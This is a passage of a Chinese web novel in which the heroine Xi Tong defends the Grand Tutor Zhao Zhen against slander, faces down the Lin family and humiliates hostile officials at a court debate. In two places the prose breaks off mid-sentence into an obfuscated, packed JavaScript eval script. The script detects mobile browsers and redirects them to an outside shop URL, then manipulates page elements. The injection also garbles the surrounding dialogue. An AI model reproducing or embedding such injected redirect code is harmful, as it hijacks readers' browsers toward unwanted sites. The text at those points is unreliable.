太傅府书房,赵臻听完苏木的呈报,将手边的镇纸狠狠砸在地上,石板瞬间出现星点裂隙,一双雪锦绣鞋闻声缓缓走来,是奚瞳。她俯下身子,将镇纸捡起来,放回到书案上,赵臻周围的寒气比这三九天更甚。 “查清楚谁干的了吗?”张逑问道。 陆忧点头:“除了大司徒,恐怕没人有这样的能耐。” 奚瞳身子好不容易才养好,本以为过年之前应没什么大事了,可没想到还是出了幺蛾子。 奚瞳被太后责罚,赵臻闻讯中断了天幕山上的围炉清谈,冒雪策马回京,惹得在野鸿儒颇为不满。 然则再不满,赵臻此举至多就是没有礼貌,但经过这十天半个月的发酵,赵臻此举却成了一桩天大的不可原谅的事。 坊间如今传闻,司隶校尉家中伎子,被太傅金屋藏娇。太傅离京清谈,小伎子恃宠而骄,冲撞太后,被太后责罚。太傅听闻,勃然大怒,不顾四海鸿儒的脸面,中断清谈,回京为伎子出头,甚至为此处死了太后宫中的一个宫女。 这样一来,这件事牵连的就广了,牵扯到陆忧是否用进贡美色的方式换取司隶校尉的官职;牵扯到赵臻是否被一个伎子乱了心智、不做正事;牵扯到太后是不是为了赵臻和那小伎子争风吃醋扯头花,先帝头上的青草是不更绿了一些;牵扯到赵臻一个外臣竟然敢伸手去杀太后宫里的下人,是不是反了他了。看似桩桩件件因奚瞳而起,但桩桩件件都是冲着赵臻来的,于是民间留言四起,朝中弹劾累牍,都问赵臻要一个说法。 赵臻刚要开口,小厮就进来通报,说是林家来人了。 赵臻眼睑眯了眯,继而起身,林载却走到赵臻跟前,给赵臻行了个礼:“主公,家父老了,若待会儿有何开罪之处,还望主公念及他多年襄助之情,原谅些许。” 林载的态度让奚瞳有些诧异。 赵臻这些心腹里,林载与旁人不同,他同赵臻比起君臣,更像是朋友和兄弟,平日里说话也没顾及。林载这么伏低做小,还是第一回见。 不一会儿,门口来了人,是一个美须髯的中年男子,身旁跟着一个将头发高高束起、着一身素雅劲装的秀美女子。 女子奚瞳前阵子见过,是林载的妹妹,林棠,想必这中年男子便是他们二人的父亲林泉了。 林泉姿容俊逸,但此刻神色冷淡至极,透着浓浓的不满和愤懑。 赵臻上前一步:“天寒路滑,积雪未化,世伯怎么来了?” “哼!”林泉不假辞色:“怎么,你这太傅府门槛太高,林某人不配登门?” “父亲!”林载出言制止。 “怎么?我说错了吗?”林泉斥道:“如今外头都闹成什么样了?你们这些后生还有心情在这里闲聊谈天?!玄度,这么多年世伯如此支持你,你变就是这样回报世伯的吗?” 场面一度有些僵持,最终是赵臻先软了姿态:“世伯莫急,先坐”。 众人坐下来,奚瞳像往日一样,给在座之人斟茶。 因林泉年长,奚瞳率先走到林泉跟前。林泉抬眉,看了奚瞳一眼。 “你就是奚瞳?”林泉尽是讥讽。 奚瞳淡然应道:“是,我是奚瞳。” 奚瞳说罢,林泉抬手便将茶盏摔到了奚瞳身上:“放肆!一个女婢,不自称奴!谁教你的规矩?!” 茶水滚烫,热气在奚瞳身上翻腾,幸亏冬日衣衫厚些,否则奚瞳即刻就会被烫伤。 其他人有些紧张地望向赵臻,赵臻面色淡然,唯有林棠看到,那杯热茶倒在奚瞳身上的瞬间,赵臻放在桌案上的手不自觉颤了颤。林棠心头一阵酸涩,低了头。 奚瞳更是波澜不惊,她又拿了一只新的茶盏,继续为林泉倒茶。 林泉怒气未消,可奚瞳只平静道:“林大人,我并非女婢,而是赵臻的门客。说起来,我同您儿子,同在座的许多人,身份是一样的。” 林泉冷笑:“荒谬!林载陆忧张逑他们都是朝廷命官,你算什么东西?” 奚瞳也笑:“据我所知,林大人虽是林氏族长,但在朝廷也并无官职啊。” 陆忧张逑和苏木都有些不敢喘气,奚瞳这次锋芒毕露,他们始料未及。 林泉拍案:“你这是什么意思?!” 奚瞳将斟好的茶盏推到林泉眼前,笑意晏晏:“我的意思是,我们都要认清自己的身份,您说是吗?林大人,喝茶。” 林泉握着的拳头因关节紧绷而发出“咯咯”之声。 林载出来打圆场:“主公,家父听闻此间非议,对您挂心不已,特来看望。” 赵臻点头:“我知道,多谢世伯关心。” “哼。”林泉又是冷哼一声:“如今物议沸然,你不给个章程出来,朝中周正的党羽,民间热衷清谈的那些老匹夫,都不会善罢甘休。玄度,这么多天了,你可有对策?” 赵臻啜一口茶:“大雪刚过,京城和周边城郭受灾严重,当务之急是帮百姓渡过难关,好好过个年,其他的,玄度相信,公道自在人心。” “呵,你的意思就是任由这些议论继续发酵?”林泉恳切:“你还年轻,哪里知道人言可畏?若就这么过去了,今日隐疾,明日就可成了你的膏肓,切不可给自己留祸端啊玄度。” “那世伯的意思呢?”赵臻摩挲着手指,幽幽问道。 奚瞳也看向林泉,他对赵臻说的这番话,是有几分真情意的,但感情归感情,蠢也是真的蠢。 赵臻说如今天灾刚过,赈灾是第一位的,这便是“国政”。赵臻并不是不在乎非议,他是觉得事有轻重缓急,给百姓解决问题,比处理这些七嘴八舌重要。 而且这些口舌还不能一击而退,周正还在大司徒的位置上好好坐着,他一日做官,一日将赵臻当做敌手,这些议论就不会停息。 所以赵臻听到民间的传闻和朝中的弹劾之后,他给出的反应,就是把镇纸摔了。他是生气,但发泄完了就完了,还有很多正事要做。 林泉却本末倒置,将这些桃色传闻当做天大的事,拿出来为难赵臻,这同周正那帮人有什么区别? 林泉全然不觉得自己的行为有什么问题,也不知道赵臻问他“你觉得呢”,实际上实在释放不满的信号。 他竟真的开始陈述自己的想法:“此时牵涉太广,太后、陆家、周家都涉事其中,一桩一桩处理起来的确棘手,须耗费许多心力,依老夫看,最好的自证,不过是手起刀落。玄度,大丈夫立世,要舍得才行。” 林泉说罢,冷冷瞥了奚瞳一眼。 在座之人还在琢磨着这句手起刀落是什么意思。 赵臻的眼底又冷三分:“世伯这是什么意思?玄度愚笨,不甚明了。” 此时奚瞳轻笑一声:“林大人的意思是,杀了我,就能给天下人一个交代。” 众人此时也已经反应过来,张逑他们大气不敢出,只闷着头喝茶。 赵臻将茶盏放下,转头看向奚瞳:“那你觉得呢?” 林泉以为赵臻这是将自己的话听进去了,便有些放下心来。 谁知下一刻,奚瞳便道:“我算是知道林大人执掌世家,却不能入仕,是何原因了。” 奚瞳直视林泉:“林大人,确实愚蠢。” “你!” 这次林泉尚未发作,一旁的林棠看不下去:“奚姑娘,家父虽不在朝中,但好歹是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555595|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长辈,还望姑娘放尊重些。” “尊重是相互的,难道令尊行走世间,全凭年纪?”奚瞳没有给林家留情面,她站起来,微微俯视着林泉道:“林大人,我问你,赵臻为何中断清谈?是因为我这个其貌不扬的门客,魅惑了他的心智吗?” 林泉答不出,众人也有些不解。 奚瞳无奈叹息:“那我换个问法,如果那天太后为难的不是我,而是赵臻的其他门客,或者是管家裴鸣,是厨房的小六子,他难道就不管了?” 奚瞳换了一口气:“赵臻中断清谈,是因为太后仗着威权,无缘无故磋磨他府上的人,这是上位者公然枉法。我再问你,赵臻为何处死栖梧宫宫女银铃?” 林泉还是沉默,但廷尉监张逑却逐渐明白了奚瞳的思路,沉声道:“因为银铃区区宫婢,却借送信之机,监视太傅府众人,又教唆太后对太傅家臣用刑。” 奚瞳点头。 “这件事再怎么议论纷纷,赵臻都是占着理的。但杀了我,赵臻就是承认了,他所有举动都是因为美色惑心,失了方寸。”奚瞳盯住林泉:“林大人,这就是您口口声声的,为了赵臻考虑?” “你……”林泉语塞:“好一条三寸不烂之舌。” “林大人,还有在座诸位大人,话已至此,我不妨再多问你们一句。”奚瞳环顾众人:“你们觉得君主御下,让四海归心,靠的是什么?是高尚的品德?美好的名声?还是坦荡的处世?” 众人先是面面相觑,继而神色都有些凝重起来,奚瞳这样问,自然是她不赞同这些冠冕堂皇的答案。可除了这些,还会是什么呢? 赵臻看着奚瞳,她此时背对着他,外头虽冷,但艳阳高照,射入窗棂,在她身上渡一层柔光,他竟有三分信了,信了她是她所说的仙女。 周围的无声让奚瞳的心情有些沉重。 她为人一世,只活十九岁,自有一番天真。所以她才会整日口无遮拦,才会毫无防备的应太后宣召入宫,她也为此付出了代价。 可那一世,也带给她一份别样的老辣。她生于王朝的太平年代,太平是因她祖父的竭力守成。她死于王朝的毁灭之夜,毁灭是因她父亲的荒淫无度。她是王朝的公主,同皇权一同生灭的公主。 赵臻想要皇权,那她必须要让他身边的人都明白皇权是怎样的一件东西。 奚瞳回身,深深望着赵臻的眼睛,他的瞳孔微澜四起,她看得到。 “君王御下,四海归心,唯有两者——让臣民过上好日子的能力,以及……让臣民望而生畏的手段。支撑皇权的,从来都是臣民的崇拜和恐惧。” …… 书房的议事终究是以沉默做了结局。 待林泉同赵臻私下叙话,其他人散去后,奚瞳却留在书房没有走。 她痴痴坐着,有些赧然,她刚来赵臻身边时,总觉得他戾气太甚。她也曾在剑阁对赵臻说过,骂名会毁掉一个人,让他不要因为手段酷烈而成为恶名满身之人。 可如今见到了他身边的重重陷阱,她心中冷却多年的杀伐之意反倒被勾了起来,骂名又如何?骂名是可以被铁血震慑的。 奚瞳方才的进言,对今日的太傅赵臻,抑或明日的皇帝赵臻或许是好的,但对生而为人的赵臻,真的好吗……她有些迟疑。 奚瞳恹恹走出书房,甫一抬头,就远远看见廊下一幕——林棠正从背后紧紧拥抱着赵臻。 此时寒酥莹白,松柏青青,晚霞夕照,如玉男女。好美的景色,好一对璧人。 他们那样相配,而她是什么呢……她只是五百年前同他擦身而过的一缕魂魄罢了。 奚瞳垂首,长睫颤了颤,转身离开了。 47.第 47 章 赵臻送走宾客,林棠退而复返。 她从背后追上赵臻,紧紧拥住了他,她没有说话,只无声地流着泪。 赵臻先是怔了怔,继而有些无奈道:“棠棠……” 赵臻这些年里虽然断情绝爱,但他于相思一道并不是个无感无知的傻子。 昔年他同周怀淑定下婚约,林家的小姑娘哭红了眼,他是知道的。 他本以为只要他注意分寸,渐渐疏远她,待他与周怀淑成了婚,日子久了,林棠终究会放下。 可没想到赵家的覆灭,断绝了他和周怀淑成婚的可能,也让林棠对他生了执念。 赵臻始终是不忍伤害林棠的。 当年赵家出事,林家愿意襄助赵臻,有一部分原因,在于林载和林棠。当时京中同赵家亲厚的世家纷纷避祸,恨不得赵臻趁早死了才好,林泉虽不忍对赵臻痛下杀手,但也犹豫过要不要帮扶赵臻。是林载和林棠跪在堂前整整三天,才让林泉松了口,赵臻才在京中有了落脚之处。 这些年赵臻活得如履薄冰,怎么在先帝跟前活下去、谋求官位、以待复仇是他顶顶重要的事,日日命在旦夕,他哪里顾得上林棠, 为了让这傻丫头早日走出来,他同林载在五年前送了她去山中修习剑道。希望她见天地,见众生,见自己。 可如今方知,林棠从未放下。 “兄长。”林棠哽咽开口:“我对你是什么心思,你真的不明白吗?” 赵臻将她的手从他腰间拿开,他转身看着林棠:“我明白。但棠棠,我以为你也明白我,我把你当做我亲妹妹。” 林棠杏子一般的眼眸里又涌上了泪:“我不要做你妹妹!我不明白,我究竟哪里不好?我不好看吗?还是我不温柔、不懂事?亦或是你觉得我哪里配不上你?你为什么不喜欢我?” 赵臻认真地看着她:“心悦一人,同你说的这些,原都是没有关系的。” “那同什么有关系?”林棠满目委屈,她咬了咬下唇,试探着问出了那个自己最想问的问题:“你是不是,真的喜欢奚瞳……” 赵臻的瞳孔颤了颤,垂眸良久。 终于,他给出了答案:“是。” “你怎么能……她……”林棠落下泪来:“她是陆家的家伎,你怎么能……” “棠棠!”赵臻严词打断她,继而又觉得自己语气重了一些:“你并非刻薄之人,不要因我折辱了自己的温良。” 林棠嗫嚅一会儿,依旧不甘心,似是鼓起很大勇气,她强撑着自己说道:“朝中之人,不会允许你娶奚瞳这样出身的人。兄长若与我成婚,我可以让你……纳妾。” 赵臻却笑了:“真的爱一个人,怎么会让她做妾?同样的,真的爱一个人,又怎么会再纳别人。棠棠,你值得一个心里眼里只有你的人,那个人不是我。” 听到这里,林棠已经泣不成声:“可我不想要别人,我只想要你。” 赵臻在这个小姑娘身上展现了鲜有的耐心和温柔,他抬手擦一擦林棠的眼泪:“京中好男儿有很多,我和你哥哥会为你细心挑选,容貌、家世、本事,都要配得上我们棠棠才好。” 林棠眨着一双泪眼,抬头抽噎着问赵臻:“世家男儿尽是纨绔,而且一个个都朝秦暮楚三妻四妾,哪有你说的这样好的人。” 赵臻笑了笑:“会有的。他若敢三心二意,我一定将他碎尸万段,给你出气。” 林棠双眸还是含泪,但终究沉默下来,没有再强求什么。 …… 奚瞳有些失魂落魄地回到厢房,天渐渐黑下来,她没有点灯。 她抱膝坐在榻上,脑袋埋在双腿之间,脑海里全是方才赵臻被林棠抱着的样子。 奚瞳不明白自己是怎么了,她明明只是想帮赵臻实现一世心愿,从而拿到自己心心念念的神君之位,可为什么,看到他同别的女子亲热,她会这般……这般难受。 紫虚在小厨房给自己熬了一碗肉圆子汤,想要端回来吃,看到屋子里一片昏暗,便以为奚瞳还没回来。 她刚一进门,便看到床榻上窝着的一团黑影,吓得惊叫一声,差点把汤碗摔了。 她看清楚是奚瞳,一边点灯一边抱怨:“你回来怎么不吱声呢,吓人一跳。” 烛火燃起,满屋清辉,此时赵臻身边的小厮来了:“奚姑娘,太傅大人宣您到书房。” 奚瞳深吸一口气,点了点头,她或许真的拿赵臻没有办法,前世是,今生亦然。 奚瞳走到书房时,赵臻正在看堆在书案上的笺疏。 见奚瞳来了,赵臻抬了眼。 他是有些生奚瞳气的,方才奚瞳慷慨陈词,说他从天幕山回来,是因为周怀淑他们仗势枉法。 这话别人说没什么错,可奚瞳说,就错了。 他一路上对她的忧心挂怀,她竟是一点都没有看到,真是让人寒心。 “你找我有事?” 赵臻蹙了蹙眉,这小丫头,语气怎得这样冷,他便也生了些气闷:“去昭阳王府走了一遭,便忘了太傅府的规矩了?” 奚瞳心道,这和昭阳王府有什么关系……腹诽过后,对于赵臻所说的太傅府的规矩,她倒是知道。 从夏天开始,赵臻便习惯跟她同塌而眠,她贪图冰鉴,便没说什么。后来天凉了,她便觉得这样不妥当,说了几次要搬回厢房,可赵臻不许。 他说她身上有香味,他闻着睡得安稳。 奚瞳闻过自己许多次,除却洗衣服的淡淡的皂角香,再也没有别的味道了。 而且,赵臻也并非他说的那样,他睡觉很浅,一点点声音就会醒,枕头下头长年放着匕首,登天剑也一直放在床梁上,他触手可及的位置。他做梦也多,有时奚瞳夜半醒来,总能见他大汗淋漓或紧咬牙关,那是一场又一场的噩梦,赵臻困在这些梦魇里,不得解脱。 想到这里,奚瞳对赵臻的怨气便消了大半,怜爱又生出来。 她安静地坐到赵臻身边,同他一起看着桌上的奏报,除却雪灾的灾情,大多都是对他的诘问,有好几份提议让赵臻杀了她,还有几份甚至要借着她问罪陆忧乃至整个陆家。 奚瞳看了几分笺疏,便将纸张狠狠顿在桌上。 赵臻面色淡然:“待赈灾的事料理好了,我腾出手来再收拾这些人。” 奚瞳怒意未消,半晌,她道:“赵臻,你当真不能给我名分吗?”< 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“不是你。”奚瞳目光灼灼:“是我。也不只那帮老头儿,还有朝廷里的各位大人。他们不是喜欢清谈吗?那便在朝晖殿好好谈一谈。看他们是不是我这个太傅府门客的对手。” 赵臻看着奚瞳的侧脸,她的眼眸因为烛火的映衬熠熠生辉。 他时常觉得奇怪,这么娇弱的一副身子,怎么会有这么硬的骨头。 看着看着,赵臻的身体又热起来。她病了十几天,他已经许久没有抱着她好好睡一觉了。 他如今已经可以同对她的欲念和睦共处,他学会了将它们控制在一个安全的他虚设出的牢笼之中。 他接受了他随时会因她发紧发热的小腹,他接受了他的身体是受她支配的,他接受了他对她是无法经由理智控制的生理性的喜欢、甚至迷恋。 他起身,一手扶住她的腰,一手抬起她的双膝,将她抱了起来。 “你做什么?!”奚瞳被这突如其来的横抱惊了一霎。 “累了,睡觉。”赵臻回答。 奚瞳的大氅被丢在书房,去内室的这一路上,她因为寒冷只能缩在赵臻怀里。 她听着他强劲的心跳,又想起林棠。 那个时候,赵臻的心跳,会不会因为林棠而乱上几分…… 奚瞳越想越气,直到躺在赵臻的榻上,也没能释怀几分。 赵臻洗漱过,凑过来时,奚瞳下意识地躲了躲,整个身子使劲往墙上靠。 可下一刻,她便被赵臻一把捞到怀里,后背撞上了他结实的胸膛。 他的声音从头顶传来:“如果是别人,我下天幕山,不会那般着急。” 奚瞳的手不自觉攥了攥:“嗯?” “这次……是我没保护好你。对不起。”赵臻的声音有些沙哑,不知是因为疲惫还是歉意。 奚瞳紧张的双手慢慢松开,她只觉得自己心中有个角落化作了一滩春水。 冬夜这样长,可奚瞳感受到,自己正迷失坠落在赵臻怀里、这一片广袤的温暖中。 48.第 48 章 如今四海列国文人雅士都喜欢参加各类清谈宴饮。因为他们都清楚,比起聚会,清谈更像是一方戏台,一个个的角儿粉墨登场,谁唱得好,谁就能入中正官和大鸿儒的眼,便有机会入仕,成就自己一番抱负。 先帝高宇在位时大盈的清谈之风大盛,堪称疯狂,有些朝廷小官甚至宁愿放弃去陛下御座跟前聆训,反而去参加清谈宴会。他们觉得与其指望皇帝在茫茫人海中看到自己,赐予给自荣华富贵,还不如指望有些本事的地方官员和有声望的文人。 这一风气在太傅赵臻掌权之后有所收敛,因这是位只相信自己眼睛的主儿,想要在他手底下平步青云,总得过一过他设定的关卡。 赵臻的这一处事做派有人支持,但也得到了更多人的怨怼,坊间一直都议论,说他是个刚愎自用之人,不堪效忠。 这次的大朝晖殿清谈,消息甫一传出,震惊四野。赵臻竟也有牵头清谈宴会的时候,而且还是在宫里上朝的地方。不过联想到近日围绕在他身边的伎子风波,倒是也不难理解,赵臻也不是什么无欲无求的圣人,桃色绯闻缠身,恐怕也是想为自己辩驳几句。于是世家尚未入仕的公子们都有些跃跃欲试,这次清谈若是出了风头,岂不是后半生仕途就稳了? 想看热闹的可不止这些世家公子,大司徒周正一早便召集党羽,光议事就有六七次,赵臻为了一个伎子得罪天幕山鸿儒、越权诛杀太后婢女这是不争的事实,他们一定要借这次清谈咬死他,朝野之内他赵臻有本事控制,但他管得了天下人的喉舌吗? 腊月二十这天,浩浩荡荡的人群从京城四面八方赶来,涌入宫城。 大朝晖殿威严高广,被特许进宫的寒门士子们抬头看向檐下的巨匾,不由心生向往。可当他们走进这所华丽而又肃穆的宫殿时,便有些惊异了。 他们一直听家中的族老说,当朝太傅大人为人冷峻,与太后之间又有男女瓜葛,所以赵臻的形象在他们想象当中,一直是谄媚与阴鸷交织的丑陋模样。 可如今坐于高台之上,龙座旁边的大人,面容英俊,眸色深沉,大朝晖殿梁柱上的盘龙威风凛凛,夜明珠的龙眼熠熠生辉,但都掩盖不了太傅大人的风华。 他……实在不像是传言之中的奸佞之辈。 他们再一转头,太傅大人身侧立着一个素衣女子,女子妆容极淡,钗环也少,只隐约可见她脑袋后头垂着一根发簪。很奇怪,她相貌无甚出挑,打扮更是平平,可站在丰神俊朗的太傅身边,竟也不觉突兀,反倒有些清冷出尘的意思。 “那是谁?清谈素来没有女子参加,她是太傅大人的侍女吗?” “诶诶诶,她不会是那个传说中的伎子吧。” “不可能!太傅大人一身腥臊本就是因她而起,太傅再喜欢她也不可能带她来这儿啊。再说了,太傅长这样,太后是咱们大盈第一美人儿,人俩人干柴烈火了这么多年,结果那横刀夺爱的伎子就长这样?合理吗?” 年轻人七嘴八舌低声议论着。 可很快谜底就被当朝大司徒周正揭晓,他看一眼高台上的赵臻,不无讽刺:“太傅大人真是好心胸,事到如今,竟还敢将这贱婢带到堂上。” 赵臻居高临下地看了周正一眼,没有说话,奚瞳也安静站着,面上没有丝毫波澜。 这倒让周正觉得有些无趣了。 不久,朝堂百官到齐,太后在高台后头搭起帘幕,中秋夜宴后一直称病找朝廷要说法的越阳王也拖着笨重的身躯来了,就连一向不问世事的昭阳王也走了进来。 不等众人对今日的清谈阵容发出感叹,赵臻便抬了抬手:“开始吧。” 下令的事赵臻,但先发制人的是周党,以周正为首,朝中他的朋僚一拥而上。先说赵臻不尊重读书人,又说他不把太后陛下放在眼里,又翻旧账说他是如何在先帝跟前奴颜婢膝、魅惑君心,才得以入仕为官,再提起昔年赵家的种种罪名……说到最后,就一句话,赵臻大逆,真是该死。 天幕山清谈的老学究们一会儿摸胡子一会儿点头,也附庸起来,当中有一人说得口干舌燥,甚至满面涨红要背过气去。他们要求赵臻将自己的错处昭告天下,对他们这些文坛耆老公开道歉。 众人慷慨激昂,帘幕之后的太后每每听到伎子奚瞳和被诛杀的婢女银铃,都要擦一擦泪,更惹得众人怜惜。 奚瞳瞥见周怀淑的眼泪,觉得自己之前对她和赵臻有很大误会。 她之前一直以为周怀淑同赵臻分开,或多或少是时也命也的缘故,若赵家平安,他们两个未必不是眷侣。可今日看去,她却可怜赵臻。周怀淑明知今日她的亲眷和朝廷的许多官员是要在舆论场上压死赵臻的,若她心里真的有赵臻,应当竭力为他开脱才是。可她仍然在听到“奚瞳”二字时奋力做戏。 奚瞳想,周怀淑因为爱慕赵臻才嫉恨自己,可她却将这份恨意凌驾在对赵臻的爱意之上。真是个奇怪的女人。 “太傅大人怎么不说话啊,这样下去……他官位能不能保住都难说。” “他说什么?他本就不再理。” 高澜听着不远处两个年轻书生的议论,又看一眼赵臻,心中也泛起嘀咕,他是在打什么主意…… 可在此时,他发觉有人看着他,是奚瞳,高澜同她对视片刻,她很快就将目光收回去了。 奚瞳望向他的目光有些复杂,可高澜觉得,那目光最后的余韵,是失望。 高澜的心,因察觉到这一点而发紧。 “太傅大人何故一直沉默?怎么,是自知理亏,无言以对了吗?” 说话的是周正的儿子,周演,他的面容因畅快而扭曲,他已经许久没有在朝堂之上这般出过风头了,今天可算让他说了个痛快。 赵臻看了奚瞳一眼,奚瞳点头,上前一步。 “我是赵臻的门客,奚瞳。”她不卑不亢。 “大胆贱婢!清谈之上,哪里有你说话的份儿!” 奚瞳看了看他,前几日她问赵臻要了朝臣们的画像,眼前这人她识得,是周正手下的一个小官,北市令。 奚瞳看向他:“北市令大人真是好笑。若你们说的是真的,赵臻为了我连太后的人都敢杀,你却当堂叫我‘贱婢’,不要命了吗?” 短短一句话,殿内便议论声四起。 高澜灼灼看向奚瞳,这丫头,是有几分口舌之能的。 北市令额头上有些出汗,他很想梗着脖子说,自己心怀正义,不畏死。但想起被灭了九族的严家,大朝晖殿外那一个个滚落的人头,他就无论如何也开不了口。 奚瞳也不同他计较,她款款走下高台,游走在方才侃侃而谈的官员之间。 “我作为赵臻的门客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583559|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有几个问题,想请教诸位。”奚瞳的声音清朗温润,此时,她走到了方才叫得最欢的周演跟前:“月余前的雪灾,波及多少州府,诸位可知?” 周演讷讷不能言,他身边倒是有个官员回答:“十三州府。” 奚瞳挑眉看向答话的人:“受灾良田多少亩?” 那人想了想,回答:“六千万亩。” 奚瞳点头:“那成灾良田多少亩?” 那人愣住了,受灾和成灾是不一样的,但他看公文的时候,并没有注意这个问题。 奚瞳嘴角弯起来,从他身边略过,走向别处,那人的脸因羞惭而发红。 奚瞳没有停止,继续问:“那绝收良田又有多少亩呢?” 受灾、成灾、绝收……众人纷纷沉默下来。 “损坏房屋多少间?倒塌房屋多少间?因灾死亡多少人?失踪多少人?新增多少流民?”奚瞳转了一圈,问题一个接着一个,无人应答。 奚瞳回到了高台之下,直面群臣:“大人们最近为赈灾操碎了心,奏章一本接一本,章程一个接一个,无非就是让朝廷拨款。恕我愚钝,你们连受灾的情况都不了解,又凭什么制定赈灾的计划,凭什么问朝廷索要钱款?” “朝中之事,岂容你这无知女流置喙?你不要转移视线,我们如今所谈论者,正是你这贱人是否祸乱……”一个老学究说道。 “祸乱朝纲?呵……”奚瞳笑出了声:“老头儿,你活了一辈子,只能在天幕山高谈阔论,走不进这浩荡宫城,是因为什么,你还不明白吗?” “你!” “就算你们说的是真的。赵臻就是为了保我,才中断清谈,诛杀宫婢,那又如何?他当然可以这么做。”奚瞳的目光天真无邪,不等众人反应,她便又道:“因为我比你们有用。比起你们这些尸位素餐之人,我有用太多了。” “你……你你你……” 朝堂之上,愤懑之声四起,可奚瞳没有受到丝毫影响。 她朗声道:“此次雪灾,波及十三州府。截至三天前,由各地州府呈报笺疏汇总可得,大盈境内,受灾良田六千万亩,成灾良田两千七百万亩,绝收良田八百万亩。损坏房屋十六万间,倒塌房屋五万七千间。因灾死亡三百七十九人,失踪三十七人,新增流民十七万人。家畜、林地、疫病、山匪之祸,尚不在列。这是大盈开国以来,最为严重的一次天灾。赵臻和张逑、陆忧、苏木几位大人,近日均在为此事奔波,日夜不休。今日清谈,我本也以为,诸位大人会为赈灾献计献策。可没想到,你们谈的就是这些狗屁东西。太可笑了。” “大胆伎子!朝廷大事岂容你……” 周正指着奚瞳的鼻子怒斥,奚瞳却笑着上前,抬手将他的食指压了下去:“赵臻是否有心谋逆,我是否祸乱朝纲,都还有待商榷。但周大人和您的同僚贪墨渎职却是板上钉钉。问罪的诏书不久就会送到各位府上,大人还有心情在这里同我周旋,不赶紧回去想想办法吗?” 周正的气焰渐渐弱了下去。 周遭许多人看奚瞳的眼神也发生了微妙的变化,方才还觉无甚亮点的一张脸,如今随着她一颦一笑,竟有些惊才绝艳之感了…… “真不愧是太傅的女人……”人群中有人发出这样一句喟叹。 高澜在一旁听了,长袖中的手不由握紧。 49.第 49 章 人群从大朝晖殿散去,奚瞳远远看着这个场面,觉得他们像是一群丧家之犬,内心泛起冷笑。 她转头仰视坐于高台的赵臻,想问他回不回家。 可是太后身边的一个内侍走到他跟前:“大人,太后有请。” 赵臻的眼神迟疑了一会儿,最终对奚瞳道:“你回家等我。” 奚瞳的心沉下去,但也点头道一句:“好。” 奚瞳朝宫外走,她注意到,有禁军远远跟着她,应当是林载的人。上次她在宫里出了事,林载应当是知会过部下了。 奚瞳的步子放得缓慢,她有些期待赵臻追上来。 太后找他会说什么?会说多久?他会不会也不是很想去栖梧宫,而是更想跟自己一起回家。奚瞳这样想着。 可奚瞳走了很久,身后没有任何人,也没有任何声音。这皇宫空荡荡的,似乎除了权利和欲望,再也装不下别的。 奚瞳走到群殿之前的广场,宫门伫立在尽头。她回头看一眼一座又一座的殿宇楼阁,长秦的王宫没有这里大,但形制同这里很像。看起来都像是一处……墓穴。 脑海里迸出这个词的时候,奚瞳突然打了个激灵,她近来竟真的想过,要不要在不远的将来,成为赵臻的……妃子。但此刻她猛然清醒,她已经被困住过一次了,难道要再被困住第二次吗?不要……她不想…… 她的脚步加快了一些。 宫门咫尺之遥,背后突然传来一道男声:“奚瞳。” 距离有些远,让人有些听不真切。奚瞳以为是赵臻,满腔酸涩里挤出一点点甜,她回头,却看到了意料之外的身影,是昭阳王高澜。 高澜走近,面容肃然,不同于以往的温润。奚瞳面露不解。 高澜开门见山:“方才,为什么那样看我?” “什么?”奚瞳黛眉微蹙。 “大朝晖殿的对视,你似乎对我很失望?” 奚瞳恍然,眉头纾解,平静道:“是,我对你失望。” “为什么?” 奚瞳微微垂首,其实她知道,这件事情本无关高澜。她同高澜相识不久,而且身份云泥之别,作为亲王的高澜,能出手救她已经是给足了脸面,若还要求他将她的苦难恒久放在心上,实在是有些强人所难。 可高澜生就一张和云序一模一样的脸,这张脸曾经的主人,在长秦王宫公主殿内与她朝夕相处了五年,是她在人世唯一的挚友。她代入这份情谊,便觉得这张脸变得太过陌生了。 “昭阳王曾亲眼见过太后如何磋磨我,亲耳听到了那个监刑宦官倚仗的是谁的势力。身为亲王,你对朝堂的形势应有基本的判断,到底是谁治理江山,谁祸乱江山,你应当清楚。可在群臣攻讦赵臻,意图将我诛杀时,你选择了沉默。”奚瞳字字诛心:“民间都说昭阳王是大盈最为光风霁月的君子,今日一见,不过尔尔。” 高澜没有动怒,他只幽深地望着奚瞳,希望眼底的波澜能被她瞥见、被她感受到哪怕一点点。可奚瞳的瞳仁里始终是漠然。 高澜最终开了口:“奚瞳。我姓高。” 只这三个字,却让奚瞳原本坚定的眼神闪烁起来。 是啊,他姓高。 周正再怎么结党、贪赃、枉法,可说到底,仍旧是当今陛下的外祖,对陛下始终是扶持的。 赵臻却不同,他是要将陛下从王位上拽下来,自己取而代之。 换做别人或许有些难以理解高澜,一个被放逐在权力中心之外的亲王,同王位有什么关系,为什么还要执着于自己的血统。 但奚瞳是明白的,就像长秦一世,她的父王昏庸至极,兄长更是无能,所以新的氏族取代奚氏,是多么理所应当的事。 但她依旧选择了站上城墙,依旧选择了长剑吻颈,因为她是奚氏的女儿,长秦的公主,受群臣朝拜、百姓奉养,得了公主的好处,自然就要有公主的担当。 高澜也是一样,王室的儿女,生死是与王朝系在一处的。 想到这里,奚瞳自知方才有些咄咄逼人,她低了低头,小声道歉:“对不起。” 